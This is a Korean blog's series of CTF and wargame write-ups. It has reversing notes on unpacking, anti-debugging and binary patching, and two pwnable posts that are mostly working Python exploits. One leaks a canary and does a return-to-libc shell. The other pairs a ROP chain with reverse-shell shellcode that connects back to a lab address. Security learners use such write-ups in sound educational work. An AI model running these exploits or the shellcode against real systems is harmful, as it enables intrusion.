반응형






UPX로 팩킹되어 있습니다.

UPX로 팩킹되어 있을경우 툴이나 디버깅으로 풀 수 있습니다.

저는 툴을 사용했습니다.



언팩킹한 파일로 열어서 문자열을 찾아보면0




'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 07  (0) 2015.11.13
CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 04  (0) 2015.11.13
CodeEngn Basic 03  (0) 2015.11.13
CodeEngn Basic 02  (0) 2015.11.13
반응형

첫 안티디버깅 문제입니다.

분석을 해 보면


IsDebuggerPresent 라는 API가 있습니다.

이름에서 알 수 있듯이 이 함수는 프로그램이 디버깅 중인지

확인해서 디버깅 중이라면 1을 반환하는 함수입니다.


'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
CodeEngn Basic 03  (0) 2015.11.13
CodeEngn Basic 02  (0) 2015.11.13
CodeEngn Basic 01  (0) 2015.11.13
반응형

비주얼 베이직은 .NET프레임워크로 작동하는 것이기 때문에

어떤 동작을 하려면 특정 함수를 호출합니다.

또한 비주얼 베이직은 String 찾기로 찾을수 없으니 

특정 함수로 찾아야 합니다.





'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
CodeEngn basic 04  (0) 2015.11.13
CodeEngn Basic 02  (0) 2015.11.13
CodeEngn Basic 01  (0) 2015.11.13
반응형

실행파일은 실행되지 않습니다. 

그 이유는 PE 헤더가 손상되어 있기 때문인데

아직 시도해보지 않았으나 PE헤더를 복구 시킬수도 있을것 같습니다.

하지만 저는 보통 실행파일에 문자열은 Data 섹션에 밀집해 있다는 것을 이용하였습니다.





'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
CodeEngn basic 04  (0) 2015.11.13
CodeEngn Basic 03  (0) 2015.11.13
CodeEngn Basic 01  (0) 2015.11.13
반응형

GetDriveTypeA API에 대해 공부할 수 있는 문제입니다.


디버거를 시작하자마자 이 화면이 뜰 것입니다. 

MSDN에서 GetDriveTypeA를 검색해 보면

GetDriveTypeA라는 API는 파라미터로 루트 디렉터리를 입력받고

드라이버의 타입에 따라 값을 반환합니다.

이걸 통해 답을 알 수 있습니다.

이때 하드디스크를 CD-ROM으로 인식시킬려면

리턴값을 바꾸거나 JE부분을 패치 시키면 됩니다.



'Reversing > CodeEngn Basic' 카테고리의 다른 글

CodeEngn basic 06  (0) 2015.11.13
CodeEngn basic 05  (0) 2015.11.13
CodeEngn basic 04  (0) 2015.11.13
CodeEngn Basic 03  (0) 2015.11.13
CodeEngn Basic 02  (0) 2015.11.13
반응형

POC를 못가는 슬픔...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from socket import *
from time import sleep
from struct import pack,unpack
= lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
connectto = ('192.168.223.129',1127)
def getpassword():
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
    S.send("A"*0x11d+p(0x804b060)+"\n"#Password Leak
    print S.recv(1024)
    ipw = S.recv(1024)
    print ipw
    print "[!] Password : "+ipw[ipw.find("***:")+5:ipw.find("terminated")]
    return ipw[ipw.find("***:")+5:ipw.find("terminated")]
def main():
    Password = getpassword()
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(connectto)
    
    system_plt = 0x8048610
    canary = 0x00000000
    name_data = 0x804b0e0
    print S.recv(1024)
    # Set not to go exit(1)
    S.send(Password+"\n")
    sleep(0.5)
    print S.recv(1024)
    S.send("2\n")
    print S.recv(1024)
    S.send("1\n")
    print S.recv(1024)
    # Set name data to "/bin/sh"and get canary
    S.send("4\n")
    print S.recv(1024)
    S.send("A"*0x16)    # get canari
    print S.recv(1024)
    S.send("/bin/sh;")
    print S.recv(1024)
    S.send("A\n")
    sleep(1)
    icanary = S.recv(1024)
    print "1"
    print icanary
    canary = up(chr(0x0)+icanary[69:72])
    print "[!] Canary : " + hex(canary)
    # Attack RTL with canary
    S.send("3\n")
    print S.recv(1024)
    S.send("A"*0xd9+p(canary)+"A"*0xC+p(system_plt)+"AAAA"+p(name_data)+"\n")
    sleep(0.5)
    print  S.recv(1024)
    # exit
    S.send("0\n")
    sleep(0.5)
    print S.recv(1024)
    S.send("1\n")
    sleep(1.5)
    print S.recv(1024)
    # get id at /bin/sh
    S.send("id;\n")
    print S.recv(1024)
if __name__ == "__main__":
    main()
 
cs



'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
SongSari - Basic Bof  (0) 2015.12.01
Pin Tool 간단 설명  (0) 2015.11.21
PlaidCTF-2013 pork  (0) 2015.10.28
반응형

bss로 점핑과 sprintf "\x0d"때문에 약간 삽질했네요;;


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from socket import *
from time import sleep
from struct import pack,unpack
= lambda x: pack("<L",x)
up = lambda x: unpack("<L",x)[0]
shell = ("\x6a\x66\x58\x99\x31\xdb\x43\x52\x53\x6a\x02\x89"
         "\xe1\xcd\x80\x96\x6a\x66\x58\x43\x68\xc0\xa8\xdf"
         "\x01\x66\x68\x25\x97\x66\x53\x89\xe1\x6a\x10\x51"
         "\x56\x89\xe1\x43\xcd\x80\x87\xf3\x6a\x03\x59\xb0"
         "\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68"
         "\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80")
#read plt/bss+32/read(4,bss+32,75 = len(shell))
makeread = [0x8049a58,0x80482f0,0x804aba0,0x804abb7,
            0x80486be,0x804ac58,0x804ac58,0x804ac58,
            0x8049a58,0x80482f0,0x804aba0,0x804abb7,
            0x804907d,0x804ac58,0x804ac58,0x804ac58]
def main():
    S=socket(AF_INET,SOCK_STREAM)
    S.connect(('192.168.223.129',33227))
 
    sprintf_plt = 0x804887C
    bss = 0x804aed4
    ppppr = 0x80499a5
    payload = "A"*1024
    payload += p(sprintf_plt)
    payload += p(ppppr+2)
    payload += p(bss)
    payload += p(0x804ac98)
    bss+=4
    for i in makeread:
        payload += p(sprintf_plt)
        payload += p(ppppr+2)
        payload += p(bss)
        payload += p(i)
        bss+=1
    payload += p(ppppr+3)
    payload += p(0x804aed0)
    payload += p(0x8049565)
    S.send("GET http://"+payload+"/ HTTP/1.1\r\n")
    sleep(1)
    S.send("\r\n")
    S.send(shell)
 
if __name__ == "__main__":
    main()
 
cs



'Pwnable > Etc' 카테고리의 다른 글

Docker & Docker Compose 설치법  (0) 2017.05.05
BFF Fuzzer 약간설명&옵션설명  (1) 2016.02.17
SongSari - Basic Bof  (0) 2015.12.01
Pin Tool 간단 설명  (0) 2015.11.21
Layer7 CTF SPILL  (0) 2015.11.02
반응형



이번 문제는 그림을 그려서 맞추는 문제입니다.

ida로 열어보겠습니다.






이 부분이 우리가 그린 그림과 정답 그림을 비교 하는 부분입니다.

정답 그림은 리소스 파일로 저정되어 있나 봅니다.





예상대로 리소스 파일에 비트맵 파일이 있지만

헤더는 없습니다. 그러므로 해더를 만들어야 합니다.


참고 사이트 

이 사이트를 참고해서 해더를 만들어 보면
(쉬운 방법은 그림판으로 비트맵을 만들어 수정하면 됩니다)
가로 세로 길이가 문제가 되는데
이건 동적 디버깅을 통해 윗 핵스레이의
cLines와 v16을 알아내면 됩니다.








'Reversing > Reversing.KR' 카테고리의 다른 글

ReversingKR Replace  (0) 2015.09.22
ReversingKR Easy ELF  (0) 2015.09.20
ReversingKR Easy UnpackMe  (0) 2015.09.12
ReversingKR Easy KeygenMe  (0) 2015.09.11
ReversingKR Easy CrackMe  (0) 2015.09.08
반응형

학교제한으로 못나갔지만 문제 받아서 풀어봤습니다.



일단 UPX패킹되어있으므로 압축을 풀어서 IDA로 살펴보았습니다.




이 문자열에서 스테이지 번호를 출력함을 알 수 있으므로 

스테이지 번호를 담고 있는 변수가 있음을 알 수 있습니다.




0x401300으로 이동해 보겠습니다.




Stage를 찾고 다시 이것을 누가 참조하는지

확인해 보았습니다.




sub_402020 = 스테이지 증가

MakeMap = 스테이지 1이면 맵 고정

sub_401300 = 스테이지 출력

sub_401E90 = 스테이지 20과 63일때의 트리거

sub_4034A0 = 스테이지 초기화


이렇기 때문에 우리는 sub_402020과 sub_401E90만

중요하게 생각하면 됩니다.



이때 스테이지가 20이면 1번 이 찾아지고

60이면 3번이 찾아집니다.

이때 20번을 보면 Pass : Congratulation이라 되어있는데

이것은 비밀번호의 키이며

비밀번호를 입력할시 2번이 찾아집니다.




이부분에서 eax를 조정하여

20층 -> 사망 -> 비밀번호 입력 -> 63층

으로가면 키가 나옵니다.




Player20

KEY : 6Sa8Qu6Eo8Uy4Ye







 

'CTF' 카테고리의 다른 글

CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
2015 YISF 순천향대 본선 및 예선 WriteUp  (2) 2015.09.07

+ Recent posts